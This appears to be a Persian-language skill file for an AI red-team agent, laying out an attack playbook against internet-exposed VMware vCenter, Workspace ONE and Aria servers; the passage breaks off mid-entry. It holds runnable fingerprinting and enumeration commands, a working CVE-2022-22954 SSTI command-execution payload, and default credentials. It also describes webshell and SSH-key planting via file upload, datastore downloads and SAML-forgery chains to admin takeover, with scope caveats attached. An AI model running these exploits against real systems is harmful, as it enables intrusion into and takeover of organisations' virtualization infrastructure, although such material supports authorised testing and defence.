نقشهی ساختار اسکیل
روی هر گره کلیک کنید تا به بخش مربوطه بروید؛ دکمهی «سورس MD» در هدر هر بخش، متن اصلی را با شمارهی خط میآورد.
بخشهای اسکیل
هر بخش با عنوان فارسی، نوع محتوا و توضیح فارسی نمایش داده شده. روی «سورس MD» کلیک کنید تا متن اصلی انگلیسی با شمارهی خطوط فایل در نمایشگر کناری باز شود.
سطح حمله و سیگنالها
When to useنشانههای URL، header، JS و tech stack که نشان میدهد این تکنیک اینجا جواب میدهد
تریگر وقتی recon بیرونی هرکدام را نشان دهد:
- بنر: «VMware vCenter Server»، «VMware vSphere Client»
- مسیرهای URL:
/ui،/ui/login،/websso/SAML2/Metadata،/sdk،/mob(Managed Object Browser) - فیلد SAN مربوط به سرتیفیکیت TLS شامل
vcenter/vsphere/vcsa/psc/vmware - Workspace ONE Access / Identity Manager:
/SAAS،/SAAS/auth،/SAAS/login،/SAAS/horizon - VMware Aria / vRealize:
/vco،/vco-controlcenter،/orchestrator،/lcm/api/v1 - Horizon View:
/portal،/admin
برای اینها استفاده نکن:
- vCenter شبکهداخلی (خارج از اسکوپ — انضباط مرز بیرونی)
- هایپروایزر ESXi خالی افشاشده بدون صفحهی مدیریت (نادر روی اینترنت؛ بهعنوان یافتهی جدا فلگ کن)
سطح حمله و سیگنالها
Step 1 — Version fingerprintingنشانههای URL، header، JS و tech stack که نشان میدهد این تکنیک اینجا جواب میدهد
TARGET="vcenter.target.com"
# Build info endpoint (often public; revealing exact patch level)
curl -sk "https://$TARGET/sdk/vimServiceVersions.xml"
# UI build (visible in page source)
curl -sk "https://$TARGET/ui/login" | grep -oE 'build[^"]{0,40}'
curl -sk "https://$TARGET/ui/" | grep -oE 'vsphere[^"]{0,40}'
# REST API version (vSphere 7+)
curl -sk "https://$TARGET/api/appliance/system/version"
# Cert metadata
echo | openssl s_client -connect "$TARGET:443" -servername "$TARGET" 2>/dev/null | openssl x509 -noout -text | grep -A1 "Subject Alt"
# SSO Admin Service (info disclosure)
curl -sk "https://$TARGET/sso-adminserver/sdk/vsphere.local"
curl -sk "https://$TARGET/websso/SAML2/Metadata/vsphere.local"
نگاشت build ← نسخه ← قابلیتاعمال CVE از طریق ادوایزوریهای VMware (vmware.com/security/advisories).
اهداف ارزشمند
Step 2 — CVE matrix (external-exploitable, sorted by historical impact)چرا این کلاس آسیبپذیری پربهاست و کدام assetها بیشترین payout را دارند
| CVE | درگیر | وکتور | وضعیت |
|---|---|---|---|
| CVE-2024-37085 | ESXi 7.0/8.0 < پچ مشخص | دورزدن auto-admin گروه AD به نام «ESX Admins» | High — تصرف دامین←RCE مربوط به ESXi، بهرهبرداریشده در عملیات باجافزار |
| CVE-2024-22273 | کنترلر استوریج ESXi/Workstation/Fusion/vCenter | OOB read/write — به دسترسی VM-local نیاز دارد (SSRF شبکهی pre-auth نیست؛ بخش ۹ را ببین) | Important (CVSS 8.1)، بیرونی pre-auth نیست |
| CVE-2024-22252/53 | Workstation/Fusion (نه vCenter) | فرار سندباکس | بیرونی نیست |
| CVE-2023-34048 | vCenter 7/8 < build مشخص | نوشتن OOB heap مربوط به DCE/RPC پیش-احراز ← RCE | Critical، پچشده ۲۰۲۳-۱۰ |
| CVE-2023-20887 | Aria Operations for Networks | تزریق دستور پیش-احراز ← RCE | Critical |
| CVE-2023-20892 | vCenter 7/8 | use-after-free در DCE/RPC | High |
| CVE-2022-31656/31659 | Workspace ONE Access 21.x | SSRF پیش-احراز + دورزدن auth | زنجیرهی Critical |
| CVE-2022-22954 | Workspace ONE Access | تزریق template سمتسرور پیش-احراز (SSTI) ← RCE | Critical، بهرهبرداری گسترده |
| CVE-2021-22005 | vCenter 6.7/7.0 < build | آپلود فایل پیش-احراز سرویس Analytics ← RCE | Critical |
| CVE-2021-21985 | vCenter 6.5/6.7/7.0 < build | RCE پیش-احراز پلاگین vSAN Health Check | Critical |
| CVE-2021-21972 | vCenter 6.5/6.7/7.0 < build | آپلود فایل پیش-احراز پلاگین vRealize یعنی /ui/vropspluginui/rest/services/uploadova ← RCE | Critical، بهرهبرداری سنگین |
| CVE-2020-3992 | OpenSLP مربوط به ESXi | use-after-free پیش-احراز ← RCE | Critical، وکتور باجافزار ESXi |
| CVE-2019-5544 | OpenSLP مربوط به ESXi | سرریز heap پیش-احراز | Critical |
بخش تکمیلی
Step 3 — CVE-2021-21972 probe (still common on stale appliances)بخش تکمیلی سند که در دستهبندی استاندارد نگنجیده است
# Detection only — DO NOT execute the file upload without explicit scope OK
curl -sk -o /dev/null -w "%{http_code}\n" \
"https://$TARGET/ui/vropspluginui/rest/services/uploadova"
# 405 → endpoint exists, version vulnerable
# 404 → patched (endpoint removed)
# 401 → patched (auth required)
curl -sk -o /dev/null -w "%{http_code}\n" \
"https://$TARGET/ui/vropspluginui/rest/services/getstatus"
PoC عمومی توسط Mikhail Klyuchnikov هست؛ بدون تایید صریح برای تلاش-RCE روی زیرساخت کلاینت اجرا نکن.
بخش تکمیلی
Step 4 — CVE-2022-22954 (Workspace ONE SSTI) probeبخش تکمیلی سند که در دستهبندی استاندارد نگنجیده است
# Stage A — detection only: reachability + baseline. No command execution yet.
curl -sk -o /tmp/wone_baseline.txt -w "%{http_code}\n" \
"https://$TARGET/catalog-portal/ui/oauth/verify?error=&deviceUdid=probe"
# 4xx with FreeMarker/catalog-portal error template → endpoint present, candidate vulnerable.
# 404 → patched/removed. Keep the baseline body to diff against Stage B.
# Stage B — execution (ONLY with explicit RCE-attempt sign-off): emit a unique canary
# so a coincidental WAF/error page containing "uid=" cannot be mistaken for real output.
CANARY="VCTR$(head -c8 /dev/urandom | od -An -tx1 | tr -d ' \n')"
curl -sk "https://$TARGET/catalog-portal/ui/oauth/verify?error=&deviceUdid=\${\"freemarker.template.utility.Execution\"?new()(\"echo ${CANARY}; id\")}"
# Confirmed RCE ONLY if the response contains the exact $CANARY echoed back AND "uid=" output
# that is absent from /tmp/wone_baseline.txt (in-band command output, body-diff against baseline).
RCE تأییدشده به بازتاب in-band مربوط به $CANARY یکتا بهعلاوهی خروجی uid= که در baseline مربوط به Stage-A نیست نیاز دارد ← critical. توقف کن و گزارش بده. یک uid= خالی بدون echo مربوط به canary تأیید نیست.
بخش تکمیلی
Step 5 — Default credentials (frequently still valid on lab/staging vCenters)بخش تکمیلی سند که در دستهبندی استاندارد نگنجیده است
| محصول | کاربر پیشفرض | پسورد پیشفرض |
|---|---|---|
| vCenter 6.x | administrator@vsphere.local | <set-during-install> |
| root مربوط به vCenter Appliance | root | vmware (legacy) یا <set> |
| root مربوط به ESXi | root | <blank> یا vmware |
| vCenter Server Appliance Mgmt (۵۴۸۰) | root | <set-during-install> |
| Aria Operations | admin | vmware (legacy) |
| Workspace ONE | admin | <set> |
⚠ روی vCenter اسپری نکن — administrator@vsphere.local آستانهی lockout خیلی پایینی دارد (اغلب ۳ تلاش ← قفل ۶۰ثانیهای، قابلکانفیگ به دائمی). فقط یک تلاش با حدس اطمینانبالا. از credهای کشفشده در کرپوس breach استفاده کن.
سطح حمله و سیگنالها
Step 6 — SSO / vmdir LDAP enumerationنشانههای URL، header، JS و tech stack که نشان میدهد این تکنیک اینجا جواب میدهد
enumerate مربوط به SSO / LDAP مربوط به vmdir:
# SSO Admin endpoint (frequently exposes domain info)
curl -sk "https://$TARGET/websso/SAML2/Metadata/vsphere.local" | xmllint --format -
# Extract Identity Source info
curl -sk "https://$TARGET/sso-adminserver/sdk/vsphere.local"
# Try anonymous LDAP bind to vmdir (port 389/636 if exposed)
ldapsearch -x -H "ldap://$TARGET:389" -b "" -s base
ldapsearch -x -H "ldap://$TARGET:389" -b "cn=Configuration,cn=vmware,cn=cis,dc=vsphere,dc=local"
بخش تکمیلی
Step 7 — Managed Object Browser (MOB) — frequently leaks dataبخش تکمیلی سند که در دستهبندی استاندارد نگنجیده است
مرورگر Managed Object (MOB) — مرتب داده لو میدهد:
curl -skI "https://$TARGET/mob"
# 401 → auth required (good for the defender)
# 200 → MOB exposed → can browse VMs, hosts, datastores, sessions without credentials in some misconfigs
# Auth'd MOB lets you walk the entire vSphere tree:
curl -sk -u 'administrator@vsphere.local:<pw>' "https://$TARGET/mob/?moid=ServiceInstance&doPath=content"
سطح حمله و سیگنالها
Step 8 — vSphere REST API enumeration (post-cred)نشانههای URL، header، JS و tech stack که نشان میدهد این تکنیک اینجا جواب میدهد
enumerate مربوط به REST API مربوط به vSphere (بعد-از-cred):
# Get session token
curl -sk -X POST -u 'user@vsphere.local:<pw>' "https://$TARGET/api/session"
# Returns: "<session-token>"
# List VMs
curl -sk -H "vmware-api-session-id: <token>" "https://$TARGET/api/vcenter/vm"
# List hosts
curl -sk -H "vmware-api-session-id: <token>" "https://$TARGET/api/vcenter/host"
# List datastores
curl -sk -H "vmware-api-session-id: <token>" "https://$TARGET/api/vcenter/datastore"
# Datastore file download (HUGE — VMDK files, snapshots, credentials in cloud-init)
# /folder/<path>?dsName=<ds>&dcPath=<dc>
curl -sk -H "vmware-api-session-id: <token>" "https://$TARGET/folder?dsName=datastore1&dcPath=Datacenter"
بخش تکمیلی
Step 9 — Workspace ONE Access specific pathsبخش تکمیلی سند که در دستهبندی استاندارد نگنجیده است
مسیرهای مخصوص Workspace ONE Access:
# Metadata
curl -sk "https://$TARGET/SAAS/auth/saml/response"
curl -sk "https://$TARGET/SAAS/auth/wsfed/services/idp"
curl -sk "https://$TARGET/SAAS/jersey/manager/api/health"
curl -sk "https://$TARGET/catalog-portal/services/airwatch/identifiers"
# Login page
curl -sk "https://$TARGET/SAAS/login/0"
بخش تکمیلی
Step 10 — Aria / vRealize specific pathsبخش تکمیلی سند که در دستهبندی استاندارد نگنجیده است
مسیرهای مخصوص Aria / vRealize:
# vRealize Operations Manager
curl -sk "https://$TARGET/suite-api/api/versions"
curl -sk "https://$TARGET/casa/nodes/thumbprints"
# Aria Automation
curl -sk "https://$TARGET/csp/gateway/am/api/about"
curl -sk "https://$TARGET/cluster-administration/api/health"
# vRealize Orchestrator
curl -sk "https://$TARGET/vco/api/about"
curl -sk "https://$TARGET/vco-controlcenter/api/health"
ابزار و نکات عملیاتی
Toolingابزارهای کمکی، نصب، خروجیهای مورد انتظار و یادداشتهای اپراتور
- مجموعهی
vCenter-Exploit(چند PoC روی GitHub برای 21972، 21985، 22005) - پلاگینهای NASL مربوط به
Greenbone/openvas-scannerبرای VMware — تشخیص نسخه - تمپلیتهای
nuclei:vmware-vcenter-*.yaml،cve-2021-21972.yaml،cve-2022-22954.yaml - ماژولهای
Metasploit:exploit/multi/http/vmware_vcenter_*
Payload و الگوهای تشخیص
Detection patterns (what defenders/SOC will see)دستورها، payloadها و الگوهای قابلاجرا برای تست تکنیک
- تعداد زیاد ۴۰۴ روی
/ui/vropspluginui/*— امضای IDS - درخواست POST به
/sdkاز IP غیر-مدیریتی - شکستهای auth مربوط به
administrator@vsphere.local - تغییرهای fingerprint مربوط به handshake TLS
- آپلود پلاگین به endpoint مربوط به vRealize
جفت با اسکیل mid-engagement-ir-detection — vCenter در SOCهای بالغ سنگین مانیتور میشود.
بخش تکمیلی
External-only boundary checkبخش تکمیلی سند که در دستهبندی استاندارد نگنجیده است
اگر recon مقدار vCenter را فقط از طریق VPN نشان دهد (نه اینترنت مستقیم) ← توقف. آن زیرساخت داخلی است و طبق feedback_skill_boundaries خارج از اسکوپ فقط-بیرونی AI. کاربر کار vCenter داخلی را مستقیم انجام میدهد.
vCenter اینترنت-افشاشده متأسفانه روی perimeter رایج است — و مرتب سالها outdated. سهگانهی 2021-21972 / 21985 / 22954 هنوز در ۲۰۲۶ میپردازد چون چرخههای patching برای مدیریت هایپروایزر کند و vendor-managed هستند.
بخش تکمیلی
Severity scoring guidance (red-team deliverable context)بخش تکمیلی سند که در دستهبندی استاندارد نگنجیده است
| یافته | شدت |
|---|---|
| vCenter روی اینترنت، پچ جاری | Informational (نوت سطح حمله) |
| vCenter روی اینترنت، پچهای جاافتاده با RCE عمومی | بحرانی (compromise کل صفحهی مجازیسازی) |
| vCenter روی اینترنت + پسورد admin پیشفرض | بحرانی (تصرف فوری کامل) |
| Workspace ONE روی اینترنت، 22954 unpatch | بحرانی |
| MOB ناشناس قابلدسترس | High (افشای کامل توپولوژی) |
/sdk قابلدسترس + فقط افشای نسخه | Medium (افشای اطلاعات + تمرکز سطح حمله) |
Payload و الگوهای تشخیص
Anti-patternsدستورها، payloadها و الگوهای قابلاجرا برای تست تکنیک
- روی SSO مربوط به vCenter اسپری نکن — lockout تهاجمی است؛ اغلب یک فرصت
- PoCهای file-upload را بدون OK صریح اجرا نکن — وبشلهای پایدار میسازند؛ سربار پاکسازی و رد audit
- ESXi-management-روی-اینترنت را با vCenter اشتباه نگیر — سطوح حمله متفاوت؛ CVEهای Open SLP مربوط به ESXi پورت ۴۲۷ را هدف میگیرند
- چک بنر handshake مربوط به SSL را جا نینداز — VMware نسخهها را آنجا افشا میکند؛ این کمنویزترین probe اولیه است
دروازهی اعتبارسنجی
Bridge to neighboring skillsچکلیستها و قواعد پیش از گزارش برای جلوگیری از false positive و N/A
- اسکیل
enterprise-vpn-attack— vCenter مرتب تارگت بعد-از-VPN است؛ اگر VPN بشکافته شود، vCenter pivot طبیعی بعدی است (ولی داخلی — به کاربر واگذار کن) - اسکیل
m365-entra-attack— بعضی دیپلویها SSO مربوط به vCenter را به Entra federate میکنند؛ پل cred-chain - اسکیل
mid-engagement-ir-detection— مانیتورینگ vCenter حساس است؛ تخفیفهای میان-engagement را انتظار داشته باش - اسکیل
redteam-report-template— یافتههای vCenter به قاببندی شفاف شعاع-انفجار نیاز دارند (این صفحهی مجازیسازی است، نه فقط یک اپ)
مراحل استخراجشده
- ۱اسکیل `enterprise-vpn-attack` — vCenter مرتب تارگت بعد-از-VPN است؛ اگر VPN بشکافته شود، vCenter pivot طبیعی بعدی است (ولی داخلی — به کاربر واگذار کن)
- ۲اسکیل `m365-entra-attack` — بعضی دیپلویها SSO مربوط به vCenter را به Entra federate میکنند؛ پل cred-chain
- ۳اسکیل `mid-engagement-ir-detection` — مانیتورینگ vCenter حساس است؛ تخفیفهای میان-engagement را انتظار داشته باش
- ۴اسکیل `redteam-report-template` — یافتههای vCenter به قاببندی شفاف شعاع-انفجار نیاز دارند (این صفحهی مجازیسازی است، نه فقط یک اپ)
دروازهی اعتبارسنجی
Related Skills & Chainsچکلیستها و قواعد پیش از گزارش برای جلوگیری از false positive و N/A
- اسکیل
hunt-saml— محصولات vCenter Workspace ONE / VMware Identity Manager متادیتای SAML SP را در/SAAS/API/1.0/GET/metadata/idp.xmlمنتشر میکنند و assertionها را در URLهای قابلپیشبینی ACS مصرف میکنند. primitive زنجیره: متادیتای SAML SP مربوط به vCenter قابلدسترس ← IdP انگشتنگاریشده ← حملات XSW1-XSW8 مربوط بهhunt-samlعلیه IdP مربوط به federating ← assertion جعلی باuserPrincipalName=administrator@vsphere.local← impersonation مربوط به SP بهعنوان admin مربوط به vCenter ← تصرف کامل صفحهی مجازیسازی. - اسکیل
hunt-rce— کاتالوگ CVEهای پراثر VMware (CVE-2021-21972، CVE-2021-21985، CVE-2022-22954، CVE-2023-20887) تقریباً کاملاً RCE پیش-احراز است. primitive زنجیره: نسخهسنجی vCenter از بنر SSL یا body مربوط به/ui/login← تأیید جاافتادگی سطح پچ ← gadget مربوط به deserialization/SSTI از PoC مربوط به CVE مچشده ←rootروی appliance مربوط به vCenter ← صدور API-token ← کنترل VM در سطح خوشه. - اسکیل
enterprise-vpn-attack— compromise مربوط به VPN + vCenter روی فقط-داخلی pivot طبیعی بعد-از-VPN است، ولی اسکوپ engagement فقط-بیرونی گاهی آن را ممنوع میکند. primitive زنجیره: CVE مربوط به appliance مربوط به VPN ← foothold داخل شبکهی corp ← اگر اسکوپ اجازه دهد،vmware-vcenter-attackروی vCenter فقط-داخلی reachable میشود ← تصرف دیتاسنتر. - اسکیل
m365-entra-attack— بعضی دیپلویهای VMware مقدار SSO مربوط به vCenter را به Entra federate میکنند. primitive زنجیره: کشف SSO مربوط به vCenter ← AuthURL بهlogin.microsoftonline.comاشاره میکند ← ATO مربوط به Entra روی هویت syncشدهیadministrator@vsphere.local← assertion مربوط به SAML ← admin مربوط به vCenter بدون هیچ بروتفورسی روی SSO مربوط به vCenter. - اسکیل
mid-engagement-ir-detection— هشدارهای VMware vSAN/vCenter حساساند؛ انتظار داشته باش SOC ظرف ساعتهای تشخیص پچ یا بلاک کند. primitive زنجیره: CVE مربوط به vCenter تأییدشده ← capture مربوط به baseline باmid-engagement-ir-detectionقبل از تلاش بهرهبرداری ← اگر الگوهای پاسخ وسط تست تغییر کرد، state مربوط به SOC-patch را بهعنوان یافتهی دوم بگیر (اکشن دفاعی مشاهدهشده). هر دو را باredteam-report-templateبستهبندی کن.
مراحل استخراجشده
- ۱اسکیل `hunt-rce` — کاتالوگ CVEهای پراثر VMware (CVE-2021-21972، CVE-2021-21985، CVE-2022-22954، CVE-2023-20887) تقریباً کاملاً RCE پیش-احراز است. primitive زنجیره: نسخهسنجی vCenter از بنر SSL یا body مربوط به `/ui/login` ← تأیید جاافتادگی سطح پچ ← gadget مربوط به deserialization/SSTI از PoC مربوط به CVE مچشده ← `root` روی appliance مربوط به vCenter ← صدور API-token ← کنترل VM در سطح خوشه.
- ۲اسکیل `enterprise-vpn-attack` — compromise مربوط به VPN + vCenter روی فقط-داخلی pivot طبیعی بعد-از-VPN است، ولی اسکوپ engagement فقط-بیرونی گاهی آن را ممنوع میکند. primitive زنجیره: CVE مربوط به appliance مربوط به VPN ← foothold داخل شبکهی corp ← اگر اسکوپ اجازه دهد، `vmware-vcenter-attack` روی vCenter فقط-داخلی reachable میشود ← تصرف دیتاسنتر.
- ۳اسکیل `m365-entra-attack` — بعضی دیپلویهای VMware مقدار SSO مربوط به vCenter را به Entra federate میکنند. primitive زنجیره: کشف SSO مربوط به vCenter ← AuthURL به `login.microsoftonline.com` اشاره میکند ← ATO مربوط به Entra روی هویت syncشدهی `administrator@vsphere.local` ← assertion مربوط به SAML ← admin مربوط به vCenter بدون هیچ بروتفورسی روی SSO مربوط به vCenter.
نمونههای واقعی و impact
Disclosed CVEs & coordinated-disclosure citationsسناریوها و گزارشهای افشاشده که الگوی باگ و اثر واقعی را نشان میدهند
اینها مراجع عمومی باربر برای هر CVE صدا زدهشده در ماتریس بالا هستند. هر مدخل شامل ادوایزوری وندور، نوشتهی محقق مبدأ یا مدخل کاتالوگ KEV و (جایی که عمومی است) مراجع بهرهبرداری in-the-wild است.
### ۱. CVE-2021-21972 — آپلود فایل دلخواه ناشناس در vropspluginui مربوط به vCenter (RCE پیش-احراز کانونیک)
- درگیر: vCenter Server 6.5 < 6.5 U3n، 6.7 < 6.7 U3l، 7.0 < 7.0 U1c (پلاگین vCenter مربوط به vRealize Operations با هر نصب پیشفرض همراه است — واریانت لینوکس یا ویندوز برای payload مهم است). VMware Cloud Foundation 3.x/4.x هم همراه میکند.
- فلوی حمله: POST ناشناس به
/ui/vropspluginui/rest/services/uploadovaبا tar/OVA حاوی entry مربوط به path-traversal. روی ویندوزwebshell.jspزیر webroot مربوط به vsphere-ui برای SYSTEM بنویس؛ روی لینوکسauthorized_keysزیر/home/vsphere-ui/.ssh/بگذار و SSH بزن. - علت ریشهای: endpoint افشاشده توسط پلاگین vRealize Operations فاقد هر فیلتر احراز هویتی بود؛ هندلر
uploadovaمسیرهای entry آرشیو را پاکسازی نمیکرد. - افشا: گزارش توسط Mikhail Klyuchnikov (Positive Technologies / PT SWARM) در پاییز ۲۰۲۰؛ ادوایزوری + پچ در ۲۰۲۱-۰۲-۲۳ بهعنوان VMSA-2021-0002 منتشر شد؛ PoC روی GitHub روز بعد اسکن انبوه را تریگر کرد. CISA KEV: افزودهشده ۲۰۲۱-۱۱-۰۳. سال کشف ۲۰۲۰، پچشده ۲۰۲۱.
- مراجع: https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/23599 ؛ https://swarm.ptsecurity.com/unauth-rce-vmware/ ؛ https://www.tenable.com/blog/cve-2021-21972-vmware-vcenter-server-remote-code-execution-vulnerability ؛ https://attackerkb.com/topics/lrfxAJ9nhV/vmware-vsphere-client-unauth-remote-code-execution-vulnerability-cve-2021-21972
### ۲. CVE-2021-21985 — RCE پیش-احراز پلاگین vSAN Health Check مربوط به vCenter
- درگیر: vCenter Server 6.5 < 6.5 U3p، 6.7 < 6.7 U3n، 7.0 < 7.0 U2b (پلاگین vSAN Health Check بهصورت پیشفرض فعال است، خواه vSAN استفاده شود یا نه).
- فلوی حمله: سوءاستفادهی ناشناس از
ProxygenControllerدر پلاگین vSAN Health ← reflection ناامن Java زنجیرهشده با primitive مربوط به SSRF ← فراخوانی متد دلخواه بهعنوانvsphere-ui← اجرای دستور. - علت ریشهای: اعتبارسنجی ورودی مفقود + sink خطرناک reflection قابلدسترس از سطح REST ناشناس.
- افشا: گزارش توسط Ricter Z (Yang Hao) از 360 Noah Lab؛ ادوایزوری VMSA-2021-0010 منتشرشده در ۲۰۲۱-۰۵-۲۵. PoC عمومی و ماژول Metasploit ظرف چند روز آمد؛ هانیپاتها بهرهبرداری فعال دیدند. سال کشف ۲۰۲۱، پچشده ۲۰۲۱.
- مراجع: https://www.vmware.com/security/advisories/VMSA-2021-0010.html ؛ https://noahblog.360.cn/vcenter-server-rce/ (نوشتهی Ricter Z) ؛ https://www.rapid7.com/db/modules/exploit/linux/http/vmware_vcenter_vsan_health_rce/ ؛ https://www.bleepingcomputer.com/news/security/vmware-warns-of-critical-bug-affecting-all-vcenter-server-installs/
### ۳. CVE-2021-22005 — آپلود فایل دلخواه سرویس Analytics مربوط به vCenter ← RCE
- درگیر: vCenter Server 6.7 < 6.7 U3o، 7.0 < 7.0 U2d. vCenter همراه Cloud Foundation 3.x/4.x.
- فلوی حمله: POST ناشناس به endpoint مربوط به Analytics روی پورت ۴۴۳ (
/analytics/telemetry/ph/api/hyper/send) فایل کنترلشدهی مهاجم را بیرون دایرکتوری موردنظر مینویسد؛ با سوءاستفادهی بعدی سرویس برای رسیدن به RCE بهعنوان اکانت سرویس vCenter زنجیره میشود. - علت ریشهای: endpoint مربوط به Analytics/CEIP آپلود فایل را احراز نمیکرد و مسیر مقصد را اعتبارسنجی نمیکرد.
- افشا: ادوایزوری VMSA-2021-0020 مربوط به VMware منتشرشده ۲۰۲۱-۰۹-۲۱. PoC کارکرده توسط @testanull / @wvu ظرف ~۷۲ ساعت آزاد شد؛ CISA هشدار اضطراری در ۲۰۲۱-۰۹-۲۴ صادر کرد. CISA KEV: افزودهشده ۲۰۲۱-۱۱-۰۳. سال کشف ۲۰۲۱، پچشده ۲۰۲۱.
- مراجع: https://www.vmware.com/security/advisories/VMSA-2021-0020.html ؛ https://www.cisa.gov/news-events/alerts/2021/09/24/vmware-vcenter-server-vulnerability-cve-2021-22005-under-active-exploit ؛ https://www.rapid7.com/blog/post/2021/09/21/critical-vcenter-server-file-upload-vulnerability-cve-2021-22005/ ؛ https://www.bleepingcomputer.com/news/security/working-exploit-released-for-vmware-vcenter-cve-2021-22005-bug/
### ۴. CVE-2022-22954 — SSTI مربوط به FreeMarker در Workspace ONE Access / Identity Manager ← RCE
- درگیر: Workspace ONE Access 21.08.0.1، 21.08.0.0، 20.10.0.1، 20.10.0.0؛ Identity Manager 3.3.3 ← 3.3.6؛ vRealize Automation 7.6.
- فلوی حمله: GET ناشناس به
/catalog-portal/ui/oauth/verify?deviceUdid=${...}تمپلیت FreeMarker تزریق میکند؛freemarker.template.utility.Executeدستورهای OS را بهعنوان اکانت سرویسhorizonاجرا میکند. RCE تک-درخواست. - علت ریشهای: endpoint مربوط به catalog-portal پارامتر query کنترلشدهی مهاجم را بدون sandbox کردن ابزار Execute به رندر FreeMarker پاس میداد.
- افشا: گزارش توسط Steven Seeley (mr_me) از Source Incite؛ ادوایزوری VMSA-2022-0011 مربوط به VMware منتشرشده ۲۰۲۲-۰۴-۰۶. PoCها ظرف ۴۸ ساعت عمومی شدند؛ بهرهبرداری انبوه گسترده دنبال کرد. CISA KEV: افزودهشده ۲۰۲۲-۰۴-۱۴. CISA AA22-138B (مه ۲۰۲۲) engagementهای IR در «سازمانهای بزرگ» بهرهبرداریشده از این CVE را مستند میکند. سال کشف ۲۰۲۲، پچشده ۲۰۲۲.
- مراجع: https://www.vmware.com/security/advisories/VMSA-2022-0011.html ؛ https://www.cisa.gov/news-events/cybersecurity-advisories/aa22-138b ؛ https://srcincite.io/blog/2022/04/19/cve-2022-22954-vmware-workspace-one-access-pre-auth-rce.html ؛ https://www.crowdsec.net/blog/new-surge-in-vmware-cve-2022-22954-exploit-attempts
### ۵. CVE-2022-22972 — دورزدن احراز هویت Host-header در Workspace ONE Access / Identity Manager / vRealize Automation
- درگیر: Workspace ONE Access 21.08.0.1؛ Identity Manager 3.3.3–3.3.6؛ vRealize Automation 7.6 (و باندلهای downstream مربوط به Cloud Foundation).
- فلوی حمله: هدر HTTP مربوط به
Hostرا حین فلوی login دامنهمحلی دستکاری کن؛ سرور درخواست اعتبارسنجی داخلیاش را به hostname کنترلشدهی مهاجم روت میکند ← session مربوط به admin بدون credential مشروع برمیگرداند. - علت ریشهای: هدر Host بدون اعتبارسنجی بهعنوان مقصد درخواست auth-validation داخلی استفاده شد — SSRF-به-خود کلاسیک با ارتقای اعتماد.
- افشا: گزارش توسط Bruno López از Innotec Security؛ ادوایزوری VMSA-2022-0014 مربوط به VMware منتشرشده ۲۰۲۲-۰۵-۱۸. دستور اضطراری ۲۲-۰۳ مربوط به CISA (۲۰۲۲-۰۵-۱۸) به همهی آژانسهای غیرنظامی فدرال آمریکا دستور داد نصبهای VMware درگیر را تا ۲۰۲۲-۰۵-۲۴ پچ یا حذف کنند — همان آژانسهایی که شش هفته قبل برای CVE-2022-22954 همین را شنیده بودند. سال کشف ۲۰۲۲، پچشده ۲۰۲۲.
- مراجع: https://www.vmware.com/security/advisories/VMSA-2022-0014.html ؛ https://www.cisa.gov/news-events/directives/ed-22-03-mitigate-vmware-vulnerabilities ؛ https://www.rapid7.com/blog/post/2022/05/19/cve-2022-22972-critical-authentication-bypass-in-vmware-workspace-one-access-identity-manager-and-vrealize-automation/ ؛ https://www.assetnote.io/resources/research/understanding-cve-2022-22972-vmware-workspace-one-access-auth-bypass
### ۶. CVE-2023-20887 — تزریق دستور پیش-احراز در VMware Aria Operations for Networks (vRealize Network Insight) ← RCE
- درگیر: Aria Operations for Networks (قبلاً vRealize Network Insight / vRNI) نسخههای 6.2 تا 6.10.
- فلوی حمله: زنجیرهی دو-مشکلی — (الف) به endpoint مربوط به Apache Thrift افشاشده روی اینترفیس مدیریت برس با اینکه احراز هویت نیست، (ب) متاکاراکترهای شل را به پارامتری تزریق کن که به فراخوانی
bash -cپاس میشود. یک POST ناشناس ← root. - علت ریشهای: endpoint مربوط به Thrift RPC بدون auth افشاشده + ترکیب رشتهی شل downstream با ورودی کاربر.
- افشا: گزارش توسط Sina Kheirkhah (@SinSinology) از Summoning Team به ZDI؛ ادوایزوری VMSA-2023-0012 منتشرشده ۲۰۲۳-۰۶-۰۷. PoC عمومی همان هفته آزاد شد. CISA KEV: افزودهشده ۲۰۲۳-۰۶-۲۲ بعد از مشاهدهی بهرهبرداری in-the-wild. سال کشف ۲۰۲۳، پچشده ۲۰۲۳.
- مراجع: https://www.vmware.com/security/advisories/VMSA-2023-0012.html ؛ https://summoning.team/blog/vmware-vrealize-network-insight-rce-cve-2023-20887/ ؛ https://blogs.juniper.net/en-us/threat-research/cve-2023-20887-vmware-aria-operations-for-networks-unauthenticated-remote-code-execution ؛ https://github.com/sinsinology/CVE-2023-20887
### ۷. CVE-2023-34048 — نوشتن out-of-bounds پیش-احراز در DCERPC مربوط به vCenter Server ← RCE (زیروده بهرهبرداریشدهی APT)
- درگیر: vCenter Server 7.0 < 7.0 U3o، 8.0 < 8.0 U1d/U2b؛ باندلهای VMware Cloud Foundation.
- فلوی حمله: بازیگر شبکهی ناشناس پاکت DCE/RPC دستکاریشده به سرویس vmdir/vmafd میفرستد ← نوشتن out-of-bounds در پیادهسازی پروتکل DCE/RPC ← خرابی حافظه ← اجرای کد. علامت فارنزیک:
vmdirdاندکی قبل از دیپلوی بکدور کرش میکند. - علت ریشهای: نوشتن OOB در لایهی marshalling مربوط به DCE/RPC در سرویسهای مدیریت vCenter.
- افشا: گزارش توسط Grigory Dorodnov از Trend Micro ZDI (انتشار ZDI-23-1623، نشاندهندهی submission پولی ZDI — بانتی افشانشده). ادوایزوری VMSA-2023-23 منتشرشده ۲۰۲۳-۱۰-۲۴. Mandiant بعداً بهرهبرداری in-the-wild را به UNC3886 (جاسوسی نسبتدادهشدهبه-چین) از اواخر ۲۰۲۱ نسبت داد — پنجرهی زیروده ~۱.۵ساله قبل از پچ. CISA KEV: افزودهشده ۲۰۲۴-۰۱-۲۲. سال کشف ۲۰۲۳ (پچشده)، بهرهبرداری از ۲۰۲۱.
- مراجع: https://www.vmware.com/security/advisories/VMSA-2023-0023.html ؛ https://www.zerodayinitiative.com/advisories/ZDI-23-1623/ ؛ https://cloud.google.com/blog/topics/threat-intelligence/chinese-vmware-exploitation-since-2021/ (Mandiant) ؛ https://www.bleepingcomputer.com/news/security/chinese-hackers-exploit-vmware-bug-as-zero-day-for-two-years/
### ۸. CVE-2024-37085 — دورزدن auth یکپارچگی Active Directory مربوط به ESXi با گروه «ESX Admins» (محبوب باجافزار)
- درگیر: ESXi 7.0 < ESXi70U3q-24585291، ESXi 8.0 < ESXi80U3-24022510؛ خوشههای مدیریتشده-با-vCenter جایی که ESXi به AD پیوسته است.
- فلوی حمله: مهاجم با حقوق کافی AD گروهی به نام دقیق
